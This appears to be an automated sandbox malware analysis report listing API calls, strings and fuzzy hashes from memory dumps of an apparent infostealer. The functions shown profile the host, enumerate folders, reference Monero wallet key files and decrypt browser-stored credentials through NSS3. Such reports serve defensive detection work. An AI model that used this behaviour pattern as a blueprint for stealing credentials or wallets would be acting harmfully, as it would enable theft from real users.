Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0587a46ad1348988e23be2ff2aa0188f24cd700f2d5800434372d09c546961bd
Instruction ID: 2ad06701048449aaf5130ebcffd91e8848237aff9a69b417e1bdcfd025101538
Opcode Fuzzy Hash: 0587a46ad1348988e23be2ff2aa0188f24cd700f2d5800434372d09c546961bd
Instruction Fuzzy Hash: D6F01C70C00208EBCF04EF94D5496DCBB76EB14350F14829AD826673C0DB746A56EB85

Function 00FD8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FD8E0B

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 37aa7364c9b83adbb876c2a876e672a87bcdd3382fb5c6ae5edca3c165e1c27b
Instruction ID: 8c9a203ef4a31917c6e3cad40dd56472e41a3cf291eb416ae6e3b5b172260963
Opcode Fuzzy Hash: 37aa7364c9b83adbb876c2a876e672a87bcdd3382fb5c6ae5edca3c165e1c27b
Instruction Fuzzy Hash: 55E01A35A4034C6BDB91EB90DC96FAE737D9B44B01F004295BA0C5B2C0DE74AB868B91

Function 00FC1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FD78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD7910
Part of subcall function 00FD78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00FD7917
Part of subcall function 00FD78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00FD792F

Part of subcall function 00FD7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FC11B7), ref: 00FD7880
Part of subcall function 00FD7850: RtlAllocateHeap.NTDLL(00000000), ref: 00FD7887
Part of subcall function 00FD7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FD789F

ExitProcess.KERNEL32 ref: 00FC11C6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 79dd4feb38effd246c29d3018a1d7a55661ecbaf35acb98a151fbb2efab32cdd
Instruction ID: 0fd65a2a90dd4c3eb347e285cc35870099d6f0d13d444dbc3bef8e724b1e42e0
Opcode Fuzzy Hash: 79dd4feb38effd246c29d3018a1d7a55661ecbaf35acb98a151fbb2efab32cdd
Instruction Fuzzy Hash: 5EE0C2B1D0030223CA1033F4BC0FF2A329D6B00389F5C052AFA05D3303FA2EE810A664

Non-executed Functions

Function 00FD38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FD38CC
FindFirstFileA.KERNEL32(?,?), ref: 00FD38E3
lstrcat.KERNEL32(?,?), ref: 00FD3935
StrCmpCA.SHLWAPI(?,00FE0F70), ref: 00FD3947
StrCmpCA.SHLWAPI(?,00FE0F74), ref: 00FD395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00FD3C67
FindClose.KERNEL32(000000FF), ref: 00FD3C7C

Strings

%s%s, xrefs: 00FD3AAD
%s\%s, xrefs: 00FD3A6F
%s\*, xrefs: 00FD38C0
%s\%s, xrefs: 00FD397A
%s\%s\%s, xrefs: 00FD3A4A

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 9d712d698993c3a2fcfa50b8f363f0e4e92f020d7508bb9542cc52590afc00df
Instruction ID: a8a7c9ecccaaeeccd8bd7608bc455870715857aea1ffb05bd75e3300ab5463c3
Opcode Fuzzy Hash: 9d712d698993c3a2fcfa50b8f363f0e4e92f020d7508bb9542cc52590afc00df
Instruction Fuzzy Hash: 1FA151B2A003089BDB35DFA4DC89FEE7379BB44300F484589A60E97145EB759B84DF62

Function 00FD4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FD4580
RtlAllocateHeap.NTDLL(00000000), ref: 00FD4587
wsprintfA.USER32 ref: 00FD45A6
FindFirstFileA.KERNEL32(?,?), ref: 00FD45BD
StrCmpCA.SHLWAPI(?,00FE0FC4), ref: 00FD45EB
StrCmpCA.SHLWAPI(?,00FE0FC8), ref: 00FD4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00FD468B
FindClose.KERNEL32(000000FF), ref: 00FD46A0
lstrcat.KERNEL32(?,007BE918), ref: 00FD46C5
lstrcat.KERNEL32(?,007BDC00), ref: 00FD46D8
lstrlen.KERNEL32(?), ref: 00FD46E5
lstrlen.KERNEL32(?), ref: 00FD46F6

Strings

%s\*, xrefs: 00FD459A
%s\%s, xrefs: 00FD461B

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: e70ab4b219d3618a05b44bfbb1191fba892c54a78091958d41702f74c7187794
Instruction ID: dd0c8f4adbf5499c5453556c115cb9d1b04e195e114fb6e02d7ccfb0b8db75a5
Opcode Fuzzy Hash: e70ab4b219d3618a05b44bfbb1191fba892c54a78091958d41702f74c7187794
Instruction Fuzzy Hash: 955196B5900308ABC725EB70EC89FED737DAB54700F444689B60A93145EB74DB849F91

Function 00FCED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FCED3E
FindFirstFileA.KERNEL32(?,?), ref: 00FCED55
StrCmpCA.SHLWAPI(?,00FE1538), ref: 00FCEDAB
StrCmpCA.SHLWAPI(?,00FE153C), ref: 00FCEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00FCF2AE
FindClose.KERNEL32(000000FF), ref: 00FCF2C3

Strings

%s\*.*, xrefs: 00FCED32

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 399c329e014d7bc26c56acb01767fc9d0c19a02a1271f96ec53411eac662c789
Instruction ID: a095540f3ccd12aea0504e6bc69d8556aa5deec59729c0dd5d17ae801d7b9284
Opcode Fuzzy Hash: 399c329e014d7bc26c56acb01767fc9d0c19a02a1271f96ec53411eac662c789
Instruction Fuzzy Hash: 25E124719112589ADB14FB60DC92EEE733DAF54300F44419AB40B62192EF346F8AFF5A

Function 00FCDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00FE0C2E), ref: 00FCDE5E
StrCmpCA.SHLWAPI(?,00FE14C8), ref: 00FCDEAE
StrCmpCA.SHLWAPI(?,00FE14CC), ref: 00FCDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00FCE3E0
FindClose.KERNEL32(000000FF), ref: 00FCE3F2

Strings

\*.*, xrefs: 00FCDE26

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: c9f08010573be42f32549ff19d71bd1f4fc9b75616abf0baa9935619c53d3e67
Instruction ID: a056737389f72e06896fe674fb69feb3e7f29faed306c8085bd9451de751343b
Opcode Fuzzy Hash: c9f08010573be42f32549ff19d71bd1f4fc9b75616abf0baa9935619c53d3e67
Instruction Fuzzy Hash: BAF1B2718101589ADB25FB60DC96EEE7339BF14300F8441DAB40A62191EF346F8AFF5A

Function 00FCC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FCC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FCC87C
PK11_GetInternalKeySlot.NSS3 ref: 00FCC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00FCC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00FCC8EB
lstrcat.KERNEL32(?,00FE0B46), ref: 00FCC943
lstrcat.KERNEL32(?,00FE0B47), ref: 00FCC957
PK11_FreeSlot.NSS3(?), ref: 00FCC961
lstrcat.KERNEL32(?,00FE0B4E), ref: 00FCC978

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 08bab57053c338713c4a680ace48503fd2a15ecf6e231e5a710a7558654a4dfd
Instruction ID: b5676721ed48b95dbc146b9e6c0fa3727652cd662cc6cd4b80f2ec4880339d67
Opcode Fuzzy Hash: 08bab57053c338713c4a680ace48503fd2a15ecf6e231e5a710a7558654a4dfd
Instruction Fuzzy Hash: 0D416075D0421ADFDB10DF90DD89BFEB7B8BB84304F1042A8E509A7280D7705A84DF91

Function 013947F5 Relevance: 12.8, Strings: 9, Instructions: 1544COMMON

Download Yara Rule

Strings

F&<(, xrefs: 01394DD6
{u}, xrefs: 01394C50
zOi, xrefs: 01395799
F/7, xrefs: 01395A27
"Bc, xrefs: 013955B7
@d0[, xrefs: 013953F5
8Sj, xrefs: 013948A7
Gw], xrefs: 01394EBE
au, xrefs: 013956F1

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
